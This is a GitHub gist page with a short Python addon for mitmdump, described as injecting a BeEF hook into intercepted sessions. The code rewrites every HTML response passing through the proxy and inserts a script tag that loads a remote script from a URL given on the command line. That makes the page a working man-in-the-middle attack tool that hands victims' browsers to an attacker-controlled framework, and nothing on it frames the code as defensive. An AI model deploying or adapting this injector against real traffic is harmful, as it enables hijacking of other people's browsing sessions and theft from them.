Skip to content

Instantly share code, notes, and snippets.

@chokepoint
Created March 31, 2017 01:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save chokepoint/7a590463a7fc07c62f01f977e031a584 to your computer and use it in GitHub Desktop.
Save chokepoint/7a590463a7fc07c62f01f977e031a584 to your computer and use it in GitHub Desktop.
Injects beef hook into sessions with mitmdump
# (this script works best with --anticache)
import sys
from bs4 import BeautifulSoup
class Injector:
def __init__(self, script_url):
self.script_url = script_url
def response(self, flow):
if flow.request.host in self.script_url:
return
html = BeautifulSoup(flow.response.content, "html.parser")
if html.body:
script = html.new_tag(
"script",
src=self.script_url,
type='text/javascript')
html.body.insert(0, script)
flow.response.content = str(html)#.encode("utf8")
def start():
if len(sys.argv) != 2:
raise ValueError('Usage: -s "script_injector.py url"')
return Injector(sys.argv[1])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment